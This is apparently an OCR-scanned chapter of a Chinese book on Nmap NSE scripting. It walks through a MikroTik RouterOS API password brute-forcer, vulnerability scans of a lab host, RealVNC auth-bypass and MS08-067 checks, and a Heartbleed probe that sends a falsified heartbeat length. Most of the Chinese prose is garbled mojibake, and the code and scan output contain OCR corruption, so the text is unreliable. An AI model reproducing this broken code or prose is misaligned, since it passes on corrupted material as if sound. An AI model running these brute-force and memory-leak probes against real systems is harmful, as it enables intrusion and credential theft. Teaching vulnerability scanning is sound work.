bogon (192.168.153.131) PORT  STATE SERVICE

bogon (192.168.153.132) | 21/tcp open ftp "
bogon (192.168.153.133)
skoctstc.edu.cn (211.81.200

E 14-1 ftp-brute HIHFTILFE

14.5 %%} MikroTik RouterOS API #2584 i1 A

T, BETFESRRAER. BTREMA XN EEED K, SEl— 5%
JAS, X—IRE Hirjg—F1&175 MikroTik RouterOS 3.x R A LA
XA API iR 45i2477E TCP 1Y 8728 v 1 |, I H il id X om N 3RS Z ik 2%
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AR, @, BIASPE HTTP Ml SSH, {BASBIE APL, BAEdE — AR 58 Bixt
XANHRS R T, BB ERINE .
S BT ATEBEN, HHEEEIRE.

description = [

Performs brute force password auditing against Mikrotik Router0OS devices with
the API

Router0OS interface enabled.

Additional information:

* http://wiki.mikrotik.com/wiki/API

* http://wiki.mikrotik.com/wiki/API in C

* https://github.com/mkbrutusproject/MKBRUTUS

11

author = "Paulino Calderon <calderon()websec.mx>"

liceNSE = "Same as Nmap--See http://Nmap.org/book/man-legal.html"

categories = {"discovery", "brute"}

local shortport = require "shortport"

local comm = require "comm"

local brute = require "brute"

local creds = require "creds"

local stdNSE = require "stdNSE"

local openssl = stdNSE.silent require "openssl"

F 2 : BEBRRGAH TCP 8727 i I FF AT, ZMIATFHHAT, Ak, AT Nmap
WAREIERGASIN H X RS i H] shortport.portnumber() € L —4 port NI,

portrule = shortport.portnumber (8728, "tcp")

B3 . % PRI Driver 28, XN AAIARE K S 2 admin, %875, HAE
€ XA Driver HYIHE, 22T &S BRI

Driver =

{

new = function(self, host, port, options )

local o = { host = host, port = port, options = options }
setmetatable (o, self)

self. index = self

o.emptypass = true

return o©

end

}

8% 4 : Driver:connect() BRI >R #E 37 75 22 1Y socket #E £, T B 1F & W] 824K options
table H1 timeout 1H .

connect = function( self )

self.s = Nmap.new socket ("tcp")

self.s:set timeout(self.options['timeocut'])

return self.s:connect(self.host, self.port, "tcp")
end
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SR 5: MTEE X —PRZ%X Driver:disconnect() & ¢ X /N4

disconnect = function( self )
return self.s:close ()
end

TR 6 : T HTEHX A 4% 038 43— RS Driver:login(). 1% B ¥ 1&—/ %
& APL SR B A 1R) . HRE XM 3 B L3R40 R A4
Be, FIH RS bin.pack() e & AT 7 L i) RS

login = function( self, username, password )
local status, data, try

data = bin.pack("cAx", 0x6,"/login™)

try = Nmap.new try(function() return false end)

HIR, ) BAR AR XA R, E SRR B AR & [ R

try(self.s:send(data))

data = try(self.s:receive bytes(50))

stdNSE.debug(l, "RespoNSE #1:%s", data)

local , , ret = string.find(data, 'l!doneS$S=ret=(.+)")

AR EINAIES, Al PG — 8 sk & W FAT

1f ret then

stdNSE.debug(l, "Challenge value found:%s", ret)

local mdSstr = bin.pack ("xAA", password, ret)

local chksum = stdNSE.tohex (openssl.md5 (mdbstr))

local login pkt = bin.pack("cAcAcAx", 0x6, "/login", 0xOb,
"=name="..username, 0x2c, "=respoNSE=00"..chksum)

KIRIXARESRAL W], IR SE A [

try(self.s:send(login pkt))
data = try(self.s:receive bytes(50))
stdNSE.debug(l, "RespoNSE #2:%s", data)

AR —H P 2 MEERHS B, X P 2 EEH S IR registry H,
SR J5 18] Engine iR [A3X N5

if data and string.find(data, "%!done"™) ~= nil then

if string.find(data, "message=cannot") == nil then

local ¢ = creds.Credentials:new(SCRIPT NAME, self.host, self.port )
c:add (username, password, creds.State.VALID )

return true, brute.Account:new(username, password, creds.State.VALID)
end

end

USRI SR =AY, B [5]—4> brute.Error B4,
return false, brute.Error:new( "Incorrect password" )

X~ Driver ZEE AU T iR
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Driver =

{

new = function(self, host, port, options )

local o = { host = host, port = port, options = options }
setmetatable (o, self)

self. index = self

o.emptypass = true

return o

end,

connect = function( self )

self.s = Nmap.new socket ("tcp")

self.s:set timeout(self.options['timeout'])

return self.s:connect(self.host, self.port, "tcp")

end,

login = function{( self, username, password )

local status, data, try

data = bin.pack("cAx", 0x6,"/login")

--Connect to service and obtain the challenge respoNSE
try = Nmap.new try(function() return false end)
try(self.s:send(data))

data = try(self.s:receive bytes(50))

stdNSE.debug(l, "RespoNSE #1:%s", data)

local , , ret = string.find(data, '!done%%=ret=(.+)")
--If we find the challenge value we continue the connection process
if ret then

stdNSE.debug (1, "Challenge value found:%s", ret)

local mdbSstr = bin.pack("xAA", password, ret)

local chksum = stdNSE.tohex (openssl.md5 (md5str))

local login pkt = bin.pack("cAcAcAx", 0x6, "/login", 0x0b,
"=name="..username, 0x2¢c, "=respoNSE=00"..chksum)
try(self.s:send(login pkt))

data = try(self.s:receive bytes(50))

stdNSE.debug(l, "RespoNSE #2:%s", data)

if data and string.find(data, "%!done"™) ~= nil then

if string.find(data, "message=cannot") == nil then

local ¢ = creds.Credentials:new(SCRIPT NAME, self.host, self.port )
c:add (username, password, creds.State.VALID )

return true, brute.Account:new(username, password, creds.State.VALID)
end

end

end

return false, brute.Error:new( "Incorrect password" )
end,

disconnect = function{( self )

return self.s:close()

end

}

SRR T . FHFEMA R E— 5L brute.Engine, EZEPA TSR SSLH brute. Engine 38
L pifl, SR)GHE—SBl B I SEL, B REFESE timeout,
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action = function(host, port)

local result

local thread num = stdNSE.get script args(SCRIPT NAME..".threads") or 3
local options = {timeout = 5000}

local bengine = brute.Engine:new(Driver, host, port, options)
bengine:setMaxThreads (thread num)

bengine.options.script name = SCRIPT_ NAME

_, result = bengine:start/()

return result

end

ZITEEAMAC AN, AT LMERHE R HiR. fBRIREERAT R
PORT STATE SERVICE

8728/tcp open unknown

| mikrotik-routeros-brute:
Accounts

|
| admin - Valid credentials
| Statistics

|

Performed 500 guesses in 70 seconds, average tps: 7

T, AUNE T AR 100 7B SE B T 46 2 BAR RS 11, BRacinfr? S5e%
(] mikrotik-routeros-brute il 4~ a] Ll 7£ https://github.com/cldrn/Nmap-NSE-scripts/blob/master/
scripts/6.x/mikrotik-routeros-brute. NSE H &%,

M

AT T WA I &, FHEXF LRI & T 2% EE A, 5
I, FEARZH 5 ER AT DL B CHF A XA AR
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TEX—FEH, A% A LA R OC T TR B A g S 1 72 .

Q Real VNC 55 g AN IESE i T i

Q £ M4 Windows SMB &1 o

3 OpenSSL fJ Heartbleed i .

2 Web i I H & LAY Shellshock Jidf

Q IPMI/BMC | A BC & SO P Tl o

Toh, BAEARF 522 vulns FESCOFRE 78, il XA SO o AAERR S Tn TR A
B ¥ 7, FHEIFLE NSE WA MRS 2 K.

15.1 Nmap P ¥ %W 1568 2 GE
AT RE 2 B — e B TR 4%, B0 Nessus a3 OpenVas 55, FHSCZFE NSE Ji
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AMFEBT, Nmap 0] DU —3 A i T H . S lsiil i AR A T valns
528

fif F NSE 2k 58 iiiwila F 3 A B 48 LR LA

Q A] LI Nmap API € 52 st $3 5 ol B2 rh G (5 B AR #E

O NSE JAA AT DAFE AT 1 7 A H At i AT AR SE 3R A5 115 B o

Q NSE Hr 24 17 K8 W 24 PMsLPE A 214

O NSE A4t 7 s S, A1) IR 2 ST AR —An A 75 B s TR 4 4 o

Q NSE it 1 sm KRBy 3 AL A s iR AL

A S &N AL, WRBENBRPITEN R T EHE A A, AT LITEE
I --script J5 T AN FAr2E0 2. AR, HnT LLRARRUA) I i R 32 8 H AR R AS B A I 2 6k
LK B s 15 R 2R 250 1 o

Nmap -sV --version-all —-p- --script vuln <target>

e B2, B -sV —-version-all YE AETURHE & AR ()30, FEEEH -p- K HER
g 11 45 78 Ry 23 A0 1 .

T8 — el R AR, A 219 3] — e FIRIA A O, WEl 15-1 Fiw,

RHig=) TET BEPR SEHH)
Bim | -p 192.168.153.133 E = -

B | Mmap -sV --version-all -p 192.168.153.133 - --script vuln

—— T Nmapitt] | @O/t | #lf | eRs |

BoA ] - Mmap -sV --version-all 4p 192,168.153.132 - --script vuln IZI
bogon (192.168.153.130)

&

Starting MNmap 7.28 { https://rmap.org | at 2016-11-15 15:21 D1GE~2E207 B

bogon (192.168.153.131) Nmap scan report for bogon (192.168.153.133)
B ) Failed to resolwe "FtiR".

bogon (192.168.153.123) Failed to resolye "-* .

Host is up (8.88816s latency).

Not shown:_986 closed ports

PORT STATE SERVICE YERSION

21/tcp open FEp Microsoft fipd

m

_551vZ-drown:

B8/ tep open http Microsoft [1S httpd 6.8

_http-csrf: Couldn't find any CSRF wulnerabilitles.

| _http-dombased-xss: Couldn't Find any DOM based XS5,

| http-enum: 4
Jpostinfo.html: Frontpage file or folder

J_wti_bin/_wti_aut/author.dll: Frontpage file or folder
J_wti_pin/_wti_autsauthor.exe: Frontpage file or foloer
J_wti_bin/_wti_admfadmin.dll: Frontpage file or folder
!

_wti_bin/_wti_adm/admin.exe: Frontpage file or folder
J_wti_bin/fpcount  exePage=default.asp|Image=3: Frontpage file or folder
J_wti_bin/shtml.dll: Frontpage file or folder

_ J/_wti_bin/shtml.exe: Frontpage file or folder

|
[
|
[
[
|
[
|
| http-frontpage-login: I
|
[
[
[
a
|
[

VULNERABLE :
Frontpage extension anonymous legin
Stete: VULNERABLE
Default installations of older wversions of frontpage extensions allow
nonymous logins which can lead to server compromise.

References!
|_ mttpissinsecure.orgfsplolts/Microsoft . frontpage. insecurities, html
| _http-server-header: Microscft-I1I5/6.0
| _http-stored-zss: Couldn't find any stored K55 vulnerabilities.

135/tcp open msrpc Ricrosoft Windows RPC
139/tcp open netbios-ssn Microsoft Windews netbios-ssn
445/tcp open microsoft-ds Aicrosoft Windows 2883 or 2008 microsoft-ds
T77/tcp open multiling-kttp?
1825/1Cp Open msrpc Hicrosoft Windows RPC
1626/tcp open wmsrpc Microsoft Windows RPC
1627 /tcp open msrpc Microsoft Windows RPC
s I i, | + 1831 /%tcp open msrpc Ricrosoft Windows RPC

] 6E82/tcp open htip SafeNet Sentinel Protection Server hittpd 7.2 -

/K 15-1 Nmap X B ARIE 7T 23 00 FH e f 45
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FAN, FEX AT A e, RS REAE S, Wr] Pi{E HZS% vulns.showall
e N BAR s kS

Nmap -sV --script wvuln --script-args vulns.showall <target>

Bl 15-2 hag il T HEIEER

= Fenmap

Cheal TR EEFE) HFEnH)

Bim |102.168.152133 E B E —

i hmap -5V --script vuln --script-args vulnsshoweall 192168153133

Lozt | == Nmaptit! |0y | e | s | ae|
=4 xH, i Mrag -sV --script wuln --script-args vulns.showall 192.168.133.133 ZI
I bogon (192.168.153.130)

Starting Mmap 7.38 ( https:/ nmap.org | at 2816-11-15 15:45 IDANEx2E+22
bogen (102,168.152.121) Nmap scan report for bogon (192.168.153.133)
Host is up (#.88s latency).

loatn | »

bogon (192.168.153.133) Kot shown: 986 clos=ed ports I
FORT STATE SERVICE VERSTOM
217tep open fip Microsoft ftpd
| ftp-libopie:

| NOT WULNERAEBLE :
OPIE off-by-one stack overflow
State: NOT VULMERAGLE
IDs: OSVDE:e4949 CVE:CVE-2018-1538
Rzferznces:
https:/fcve.nitra,. org/cgi- bin/ cvename. cgi?name=CVE- 2816- 1938
htto: //security.freebsd.org/advisories/ FresfsD-54-18:85.0pis. a5c
http://site.pid.com.pl/ade/libopis- adv.txt
http: /fosvdb, orgd 64945
ssl-cocs-injection:
NOT VULNERABLE :
55L/TLS MITM vulnerability {CC5 Injeckticn)
State: NOT VULMERABELE
Refersnces:
http:/ fwwuw.cvedetails. com/cva/2@14-8224
http: / Swnw . CpenssLl , org/nens /secadv_2191486835 , txt
https:/fove. . mitra. org/egi-bin/ cvanama. cgi?name=CVE-2814-08224
ss5l-dn-params:
NOT WULMNERABLE :

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|_

|

|

| Anonymous Diffie-Hellman Key Exchange HitM Yulneraoility

| State: NOT VULMERABLE

| Rafersnces:

| https:H{ﬁwﬁ.itt?.nrgfr{cfch224E.txt

|

| Transport Layer Security {TL5) Protocol DHE_EXPORT Ciphers Downgrads MitM
{Logiam)

| State:; NOT VULMERABLE

| IDz: OSVDE:122331 OWVE:OWVE-2E815- 468848

| RefErences:

| http: Jfosvdb. org/1212331

|
|
|
|
|
|
!

Nttps :/ weskdh .org
https:/fcve.nitra. crgfcgli-bind cvename. cgl Pname=CVE-2815- 42683

Diffie-Hellman Key Exchange Insufficiaent Group Strength
State: NOT VULMERABLE
Refersnces:
httos://weakdh.org

Diffie-Hellman Key Exchange Tncorrectly Generated Group Parameters -

= |

TE——— T _

Bl 15-2  B/R1EFEGIEE N Nmap JeiF #4558

15.2 NSE 11 exploit A

NSE #J exploit 532 & 32 MAIAS, X LLJAIASHR S FH e Xof HE 26 i F A il 55 AT B WY,
MIXBEAS 1) 24 7 F— st nl LA R ENSER BEs, FEAIZEILA.
Q http-csrf: L[ TSR H 5 Mk 2 B AR vl i K AOviE (esrf) il
Q http-stored-xss: &[] FIRALN H AR B R BT B (xss) Tl
Q http-adobe-coldfusion-apsal301 ;: % [ ] H R &M H F5 M wl J& 45 FF 7£ adobe-coldfusion-
apsal301 Jwill .
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Q smb-check-vulns : &[] HRKI H 7~ Windows #4E &4 F¥)—4 ms08_067 I,
XA G 222 f74E T Windows XP il Windows 2003 1,

e BAR— S/ R R Zn, Wl BArik S48 804 IS, A] LIRS RIAS A F0AH
K . FFRFIXAS 1S, B LLAE 48] —A iis-short-name-brute ( IS 45 30444 78 F1H2¢ ) eilB &
AR, XA E 4557 A hitp-iis-short-name-brute NSE, X & — Mtk IS Jwild], Mok nl LAAIH
— MR~ B get IHR, A TEH bRl RIS R

% B 52 0] B9 IR 55 4 XA AR AT A T ixX

Q IIS 1.0, Windows NT 3.51

Q IIS 2.0, Windows NT 4.0

Q IIS 3.0, Windows NT 4.0 Service Pack 2

Q IIS 4.0, Windows NT 4.0 Option Pack

Q IIS 5.0, Windows 2000

Q IIS 5.1, Windows XP Professional I Windows XP Media Center Edition

Q IIS 6.0, Windows Server 2003 #l1 Windows XP Professional x64 Edition

Q IIS 7.0, Windows Server 2008 F Windows Vista

Q 1IS 7.5, Windows 7 GEREFF)T T fimil & A web.config Bl & LA T )

Q IIS 7.5, Windows 2008 (ZHLLEEBER)

AT IXA A B A 4% KN

Nmap -p80 --script http-iis-short-name-brute <target>

XA A T RO EE R ANE] 15-3 F7R

< Fenmap ) e . . B . [ e
|miEa) TREO ERE MW |
| Bt:  192,168.153.133 |:| EE -] [am] (=]

Il |

bogon [192168.153.1301
bogon [152168.152.131)

Starting Nmap 7.38 { https://Amap.org ) &t 2046-11-15 13:11 044
tEx¥Et2l

- . Wrap scan repoct for bogon (192,168.153.133)
bogon [1821628.153133] | posr 4= up (@.@88E8s latency).
PORT  STATE SERVICE

| http-iis-short-name-brote:
Microzoft IIS tilde character "~" short name dlzclosure and

|

[

denial of service
| State: WULNWERABLE (Exploitable)
| 5 gisclos

vulperable II5 servers di 2 folder and file names
wlth a Windows B.3 naming scheme Lnside the root folder,
Shortnsam=z can b= uzed t or brute force sensitive

| o Buess

filenames. Attackers can explodit this vulnerability to
| se 3 genial of service condition.

|

sspnet-1
Files
postin~1.htm

Referencas:

tttp: S/ wwn osvdb . org/837 71

mittp: s fcode  google. comd pf115- shortnome - scanner - pocs
_ nttp:s/soroush.secpraject.comfdonnloadables
nicrosoft_Lis tilde character_wvulnerability <eature.pdf
MAC Address: @@:8C:29:C05:8F:8C (WHuware)

Wmap dgne: 1 IF address (1 host up) scanned in 5.5@ saconds

= —c———————————————— —

Kl 15-3  XF HARENAT http-iis-short-name-brute JHIZS )45 5
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exploit 322 ERIK) NSE JIASER ol LALE T T A ik h 4 2] .

http://Nmap.org/NSEdoc/categories/exploit.html.

15.3 RealVNC Hi2iBH A

VNC j&—Mg ) &2 8 Ay A2 3= i 9338, 11l Real VNC N2 H VNC Pl &K & w'’s
) — BN IR R, O RTX AR Real VNC 228 T KB A AIKGH . Real VNC %
453 R W 55 g v A2 S P 00 o (ERAE XA M AR 22 1o INf AR rh R A A A — S8 i), JC
HJ2 realvnc-auth-bypass (Real VNC ANIESE) T, 7] 68 FEACEF HESSUGIENLE], M
MRS LA Real VNC TR HIALBR

B2 TR E XA

BTN RTEIR . fEE . RFERER

description = [

Checks 1f a VNC server 1s vulnerable to the RealVNC authentication
bypass (CVE-2006-2369) .
11

author = "Brandon Enright"
liceNSE = "Same as Nmap--See http://Nmap.org/bock/man-legal.html”
categories = {"auth", "default", "safe"}

SN S R SCAF

local Nmap = require "Nmap"
local shortport = require "shortport"
local wvulns = require "vulns"

XA AR A A TR 2 & B 1 2R 5900, HiR95R VNC 1 BARJG AT -
portrule = shortport.port or service (5900, "wvnc")

T RA4H action RREGH A -
B eI — socket PREL, 5 HARIRFSHATIE, ARG HAR A X ERE B, BRI
[e] f [l o7 A Sk kG 5 Ak _E iz 47 ) Real VNC 2B AFEAETRTR o

action = function (host, port)
local socket = Nmap.new socket ()
local result

local status = true

socket:connect (host, port)
status, result = socket:receive lines (1)

1if (not status) then
socket:close ()
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return
end

socket:send ("RFB 003.008\n")

status, result = socket:receive bytes(2)

if (not status or result ~= "\001\002") then
socket:close()

return

end

socket:send ("\0O1")

status, result = socket:recelive bytes(4)

if (not status or result ~= "\000\OO0O\NOOONOQOO"™) then
socket:close ()

return

end

socket:close ()
return "Vulnerable"

end

AR HAR B RealVNC FEAETw TR AT TS, #5235 40 F 4528 .

PORT STATE SERVICE VERSION
5900/tcp open vnc VNC (protocol 3.8)

| realvnc-auth-bypass: Vulnerable

15.4 Windows & %t i 45

5 Z AT @A AR, — 2 FIRAG DU 2R 45 T T 1) A FE SR AT I 2250 bR AR G 1 R
W, AR RS A . Nmap AR X SE Ao A 1 BRI o AEEA T AR s A9 A, 4
RALEPATIX LA, W) ZAH I ZS%L --script-args unsafe.

Nmap -p- -8V —--script wvuln --script-args unsafe <target>

fdm, X EbR 192.168.153.133 gEAT—REMRE 4, PATRISRINE 15-4 Fs .

FEA RN, XA AT GBS I HR R GERY Rt . B 78 H Y JAIAS smb-check-vulns
SR T X HAR R G 2 A2 LA T T il B s .

[ Windows Ras RPC service vulnerability (MS06-025)

O Windows Dns Server RPC service vulnerability (MS07-029)

[ Windows RPC vulnerability (MS08-67)

A Conficker worm infection

Q CVE-2009-3013

 Unnamed regsve DoS found by Ron Bowes

BRI S L EAAE T - EEd RS, (R —SRAAeE X E RS, &
EHEE T EEMAC (B, LR WEIARMEH Windows 2003 8 RGNk, T
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— LB B AT LR AE G P Windows XP JRAY)

< Zenmap E@g
= [ S W ageeh _ — - pra— = L 3

Higa) TR EEFR) FEEH)

i | 102.168.153.133 -] == | EE |

@< | Nmap -sV -p - --script vuln --script-args unsafe 192,168.153.133

E L Nmapiiti | &0/ | st | 8 | 5

# 4 =, - Mmap -sV -p - --script vuln --script-args unsafe 192.168.153.133 |Z|
bogon (192.168.153.130) SF:erminalServer,A, "\x81\8\t\xe@\xB6\ X010\t xe@\xB6" )%r “

bogon (192.168.153.131) égffﬁggiiizéf;e;f?i
bﬂgﬂﬂ [192.168.153.133] MAC .f?.ddr‘ess: @@:GC:?E:ES:EF:EE EUMWEFE} . .

Service Info: 05: Windows;, CPE: cpe:/o:micrasoft:wlndows, cpe:/S
o:microsoft windows_server_2983

Hest script results:
| _smb-vuln-ms88-857:
|  WVULMERABLE:
| Microsoft Windows system wulnerable to remote code execution
(HSB8-867)
State: VULMERAEBLE

IDs: CVE:CVE-2888-4258
The Server service in Microsoft Windows 2888 SP4, XP
5P2 and 5P3, Serwver 2883 5P1 and 5P2,
| Vista Gold and 5P1, Server 2888, and 7 Pre-Beta
allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the
overflow during path canonicalization.

| Disclosure date: 2883-18-23

| References:

| https:/fcve.mitre.org/cgi-bin/cvenane.cgi?
name=CVE-2885-4258 N
|_ https://technet.microsoft.com/en-us/library/security/
ms@8-867 .aspx

| _smb-vuln-ms18-854: false

| _smb-wuln-msl@-@861: NT_STATUS_OBJIECT_NAME_NOT_FOUND

service detection performed. Please report any incorrect results E
at https://nmap.org/submits .
Mmap done: 1 IP address (1 host up) scanned in 581.81 seconds

1

&l 15-4 X BAriEAT— U JC PR i 13 4 Y 45 2R

B2 TR smb-check-vulns NSE A o 33X ANIAS (e i Ui — 254 =4

B JoA BAniir—4> SMB 2

YRI5 18] Fl bR & 1k — B AR A R

EIa AR BnIRG BASEZXBETFA SR, DAURHAIN B2 S AL X i
T EARSE XA AR . XA AT ZE A smb F1 msrpe BN

local bind result, netpathcompare result

$B 1. fl2—1 SMB &1,

status, smbstate = msrpc.start smb(host,"\\\\BROWSER")
if(status == false) then

return false, smbstate

end

2. 485 SRVSVC k%5,

status, bind result = msrpc.bind(smbstate,msrpc.SRVSVC UUID,
msrpc.SRVSVC VERSION, nil)

1f(status == false) then

msrpc.stop smb (smbstate)
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return false, bind result

end

$IR 3. WEAREN TR IR R %,

localpathl = "\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANN. . \\N"
localpath2 = "\\n"

status, netpathcompare result = msrpc.srvsvc netpathcompare (smbstate,
host.ip, pathl,pathz, 1, 0)

TR 4: FRXA SMB i,
msrpc.stop smb(smbstate)

FB|S: FEATHW.

if (status== false) then
if (string.find (netpathcompare result,"WERR INVALID PARAMETER") ~= nil) then
returntrue, INFECTED

elseif (string.find(netpathcompare result,"INVALID NAME") ~= nil) then
returntrue, PATCHED
else

returntrue, UNKNOWN, netpathcompare result
end
end

return true, VULNERABLE
end

X HA AR SAT XA A R g, anRaxX AN BAR EAFE— SMB i, #i< Wi

EEE

Hostscript results:

| smb-check-vulns:

| MS08-067: VULNERARLE

| Conficker: Likely CLEAN

| regsvc DoS: regsvc DoS: ERROR (NT STATUS ACCESS DENIED)

| SMBvZ2 DoS (CVE-2009-3103): NOT VULNERABLE

| MS06-025: NO SERVICE (the Ras RPC service 1s inactive)

| MS07-029: NO SERVICE (the Dns Server RPC service isinactive)

W XA B, vl LLNGE NSE FE# 15 Ja il & i A5 45 10 8. NSE FESE RN T P 4% % £

BN, WER T —WAH 1 BRY SMB il , 3 XA P T KA sh, Frigid
AURAE AT R I A [ F BT

15.5 % heartbleed {iF LTS B

SSL (ZREHZ) UhSUR A b T8 A% b i Wl in & £, 1 OpenSSL A 4 I

() SSL £, HEIC &L BT 778 Web IR %25 B8 . Web IR%% 28 1F Bl ot Bk
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BHREGVIE, RIGTEN T B ERZ EE B 17n% . URL " https /&4 A28 19 %
AR T SSL I HIAR ., LYy, WAARSETE SR A SSL £ AR KB 1k 57 % Mk 4 o [a]
N7 . Heartbleed Wi Z Fr LG4, RRNHTFL2EHmZUMY (TLS) KEIRaiEm 2%
41 (DTLS) Y Heartbeat 3 A7 7E 1A . Heartbeat 3 J& &y TLS/DTLS 244 T —Fh 57 A9 1
&R 57, [HH T OpenSSL 1.0.2-beta 5 OpenSSL 1.0.1 7E4L 3 TLS heartbeat 3 &
IR AR, Bl ] DUR) A e T 4% 8% 1 2 ) & P s BOIR S5 2 ARG g N A, R
AMUAT DASE B AR WL B 55 diE , iR BB E TN %8 .

XA R 8% T2 25 o s b B ™ #9221 OpenSSL A Heartbleed I iF, ¥k =412
T PO sl T I A X U TR B BRI, X T B R ( CVE-2014-0160 ) HY 7™ A2 02 i TR BEAE
memcpy() i H 5% F H P A WBE I KIES B Z AT Ew 1T A, Wik 3& nl LLE BR
OpenSSL B 43 FiL i) 64KB 247 . K Hi 22230 Hl 5 B2 il B S 47 24 R [ 547 N
7, EFE—REZEFEENNFNAZ LRI 64KB 13 B FH17i

1 T 2RI AN A NSE K405 — 51X 53X AN U B AR 0 BN AS o 53X FEIAS ol T tls
JERSERL TLS #1 SSL #9158 Ak 58k, BB HTRINT,

HBE 1. f#FPR%EK tls.client hello() £1E client hello 74 5. -

local hello = tls.client hello({

["protocol"] = wersion,

-— Claim to support every cipher

-- Doesn't work with IIS, but IIS isn't wulnerable

["ciphers"] = keys(tls.CIPHERS),
["compressors"] = {"NULL"},
["extensions"] = {

—— Claim to support every elliptic curve

["elliptic curves"] = tls.EXTENSION HELPERS["elliptic curves"]
(keys (tls.ELLIPTIC CURVES)),

—— Claim to support every EC point format

["ec point formats"] = tls.EXTENSION HELPERS["ec point formats"]
(keys (t1s.EC_POINT FORMATS)),
["heartbeat"] = "\x01", -- peer not allowed to send

b
})

B 2. | tls.record write(type, protocol, body) EREK & X Heartbeat 15K .

local payload = stdNSE.generate random string(19)

local hb = tls.record write("heartbeat", version, bin.pack("C>SA",1,
-- HeartbeatMessageType heartbeat request

0x4000, -- payload length (falsified)

-—- payload length is based on 4096 - 16 bytes padding - 8 bytes packet
—-— header + 1 to overflow

payload -- less than payload length.

)

)
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HB3 ;75 tls FE IR AL EE socket I f7, X — AT H ERSHL, KT RER %
client hello {582, 7% {#FH Nmap.new socket() #1 tls.getPrepare TLS WithoutReconnect(port) >k
(EUfE SUzEs -

local s

local specialized = sslcert.getPrepareTLSWithoutReconnect (port)

if specialized then

local status

status, s = specialized(host, port)

1f not status then
stdNSE.debug3 ("Connection to server failed")

return

end

else

s = Nmap.new_socket ()

local status = s:connect (host, port)

if not status then

stdNSE.debug3 ("Connection to server failed")
return

end

end

s:set timeout (5000)

-— Send Client Hello to the target server
local status, err = s:send(hello)

1f not status then

stdNSE.debugl ("Couldn't send Client Hello: %s", err)
s:close ()

return nil

end

B 4. i PRAT tls.record read() $EHL—~ SSL/TLS ic s 3{-#i#r Heartbeat extension Il .

—-— Read respoNSE

local done = false

local supported = false

local 1 =1

local respoNSE

repeat

status, respoNSE, err = tls.record buffer(s, respoNSE, 1)

if err == "TIMEOUT" then

-— Timed out while waiting for server hello done

-— Could be client certificate required or other message required
-- Let's just drop out and try sending the heartbeat anyway.
done = true

break

elseif not status then

stdNSE.debugl ("Couldn't receive: %s", err)

s:close ()

return nil

end



£ 155 KEHEITSZEHAANREE «K 223

local record

1, record = tls.record read(respoNSE, 1)

1f record == nil then

stdNSE.debugl ("Unknown respoNSE from server")
s:close()

return nil

elseif record.protocol ~= version then
StdNSE.debugl ("Protocol version mismatch")
s:close ()

return nil

end

if record.type == "handshake" then

for , body in ipairs(record.body) do

1f body.type == "server hello" then

if body.extensions and body.extensions["heartbeat"] == "\x01l" then
supported = true

end

elseif body.type == "server hello done" then

stdNSE.debugl ("we're done!")

done = true

end

end

end

until done

if not supported then

stdNSE.debugl ("Server does not support TLS Heartbeat Requests.")
s:close()

return nil

end
HB 5. il socket #EFE & 1X Heartbeat 15K,
status, err = s:send(hb)

if not status then

stdNSE.debugl ("Couldn't send heartbeat request: %s", err)
s:close ()

return nil

end

SR 6: N AR, K H bRk e A AR

while(true) do

local status, typ, ver, len = recvhdr(s)
if not status then

stdNSE.debugl ("No heartbeat respoNSE received, server likely not wvulnerable')
break

end

1f typ == 24 then

local pay

status, pay = recvmsg(s, 0x0fe9)
s:close()

if #pay > 3 then
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return true

else

stdNSE.debugl ('Server processed malformed heartbeat, but did not return any
extra data.')

break

end

elself typ == 21 then

stdNSE.debugl ('Server returned error, likely not vulnerable')
break

end

end

MR BRI FE UL E&% T AA7E XA IR B OpenSSL, B 4 Xt X AN 11 55 #IL{d A ssl-
heartbleed. NSE #F47 i ATEME, BT L& IR .

-— PORT STATE SERVICE

-— 443 /tcp open https

—-— | ssl-heartbleed:

-—— | VULNERABLE:

-— The Heartbleed Bug is a serious vulnerability in the popular OpenSSL
cryptographic software library. It allows for stealing information intended to be
protected by SSL/TLS encryption.

- | State: VULNERABLE

-—— | Risk factor: High

- Description:

-= | OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and
1.0.2-betal) of OpenSSL are affected by the Heartbleed bug. The bug allows for
reading memory of systems protected by the vulnerable OpenSSL wversions and could
allow for disclosure of otherwise encrypted confidential information as well as the
encryption keys themselves.

15.6 vulns J& ¥ ¥ & Bh g

vulns FERRAE | —2= A IR EFIIGE, ©09 B 2Rt —A~ 5 W5 T iR 47t A
&R . 7 Nmap AATHT, X L83 TR A5 B AT MRTFFAE registry R, HAWAY BIASHT A5 [R]
XA registry, XPEE LT WTFAIRES .

Q vulns.STATE.NOT VULN

Q vulns.STATE.LIKELY VULN

Q vulns.STATE.VULN

A vulns.STATE.DoS

Q vulns.STATE.EXPLOIT

Wil & A Lua BPFERSEATRE, — N RiTEREGFRAET N 5B,

Q title (A7)
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Q state (AF7)

Q IDS (Ali%)

Q risk factor (7] %)

Q scores (AJ#E)

Q description (7] %)

Q dates (A]i%)

Q check results (7] )
Q exploit_results (7] %E)
Q extra_info (A 3%)

A references (A]#E)

X B L ssl-heartbleed I &5 R A FHEATNE, WFFR,

local vuln table = {

title = "The Heartbleed Bug is a serious vulnerability in the popular OpenSSL
cryptographic software library. It allows for stealing information intended to be
protected by SSL/TLS encryption.",

state = wvulns.STATE.NOT VULN,

risk factor = "High",

description = [][

OpenSSL wversions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-
betal) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading
memory of systems protected by the wvulnerable OpenSSL versions and could allow for
disclosure of otherwise encrypted confidential information as well as the encryption
keys themselves. 11,

references = {

'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160",
'"http://www.openssl.org/news/secadv _20140407.txt ',
'http://cvedetails.com/cve/2014-0160/"

}

}

Bl —AN AR, XA EARE T —4 IPMUBMC il 280 1H, S8t & T LIaE i —A
1] B T SRR AT H AR RO BC B 0L .

g XA RAS B RO TR

B o AT B SO

local http = require "http"

local Nmap = require "Nmap"

local shortport = require "shortport"
local string = require "string"

local wvulns = require "wvulns"

local stdNSE = require "stdNSE"

BOEATHLIANT .
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portrule = shortport.portnumber (49152, "tcp")

H Tl X P TR AR BRI O C SO TRE R, oIk EREEA T R, DR MR R ) e
JRCE B BE 5B — SR

local function write file(filename, contents)
local f, err = io.open(filename, "w")
if not £ then
return £, err
end
f:write(contents)
f:close()
return true
end

